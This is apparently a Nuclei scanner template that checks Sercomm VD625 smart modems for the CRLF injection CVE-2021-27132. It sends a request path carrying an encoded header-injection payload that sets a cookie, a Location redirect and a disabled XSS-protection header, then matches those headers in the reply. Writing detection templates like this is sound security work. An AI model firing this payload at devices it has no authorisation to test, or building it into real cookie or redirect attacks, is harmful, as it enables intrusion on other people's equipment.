id: CVE-2021-27132

info:
  name: CRLF Injection - Sercomm VD625
  author: geeknik
  severity: critical
  description: Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to CRLF Injection via the Content-Disposition header - https://cybertuz.com/blog/post/crlf-injection-CVE-2021-27132
  tags: cve,cve2021,crlf,injection
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-27132
    cwe-id: CWE-74
  reference:
    - https://cybertuz.com/blog/post/crlf-injection-CVE-2021-27132
    - http://sercomm.com

requests:
  - method: GET
    path:
      - "{{BaseURL}}/test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20example.com%0d%0aX-XSS-Protection:0"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 404
        part: header

      - type: word
        words:
          - "Content-Disposition: attachment;filename=test.txt"
          - "Set-Cookie:CRLFInjection=Test"
          - "Location: example.com"
          - "X-XSS-Protection:0"
        part: header
        condition: and